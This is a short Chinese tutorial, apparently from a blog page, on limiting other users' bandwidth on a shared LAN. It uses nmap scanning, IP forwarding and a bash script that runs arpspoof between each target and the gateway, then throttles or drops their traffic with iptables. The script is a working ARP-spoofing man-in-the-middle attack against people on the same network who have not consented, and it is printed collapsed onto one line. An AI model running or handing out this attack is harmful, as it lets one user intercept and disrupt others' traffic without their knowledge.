为了限制无线路由器上大家的上网速度,减少p2p工具的影响
可以通过arp欺骗和iptables来限制局域网的上网速度
操作系统:ubuntu
1)sudo apt-get install dsniff nmap
2)探测局域网主机的ip地址
sudo nmap -sS 网关ip/24
在此例中:
192.168.1.100 为要限速的主机
192.168.1.1 为网关地址
3)打开 内核的 IP 转发,让我们的主机成为路由器
echo 1 > /proc/sys/net/ipv4/ip_forward
4)使用 iptables和arpspoof进行 限速! 脚本如下
使用方式:
sudo ./iptable.sh 要限的速度(30为40k/s) 网关ip 限速主机1 限速主机2
#!/bin/bash if [ $# -le 2 ] then echo "Usage: ./iptables.sh speed gateway ip1 ip2 ...." exit -1 else speed=$1 gateway=$2 fi IPT=/sbin/iptables while [ $# -gt 2 ] do shift echo $gateway,$2 arpspoof -i eth0 -t $2 $gateway& arpspoof -i eth0 -t $gateway $2& $IPT -A FORWARD -s $2 -m limit --limit ${speed}/s -j ACCEPT $IPT -A FORWARD -d $2 -m limit --limit ${speed}/s -j ACCEPT $IPT -A FORWARD -s $2 -j DROP $IPT -A FORWARD -d $2 -j DROP done
暂无评论
写评论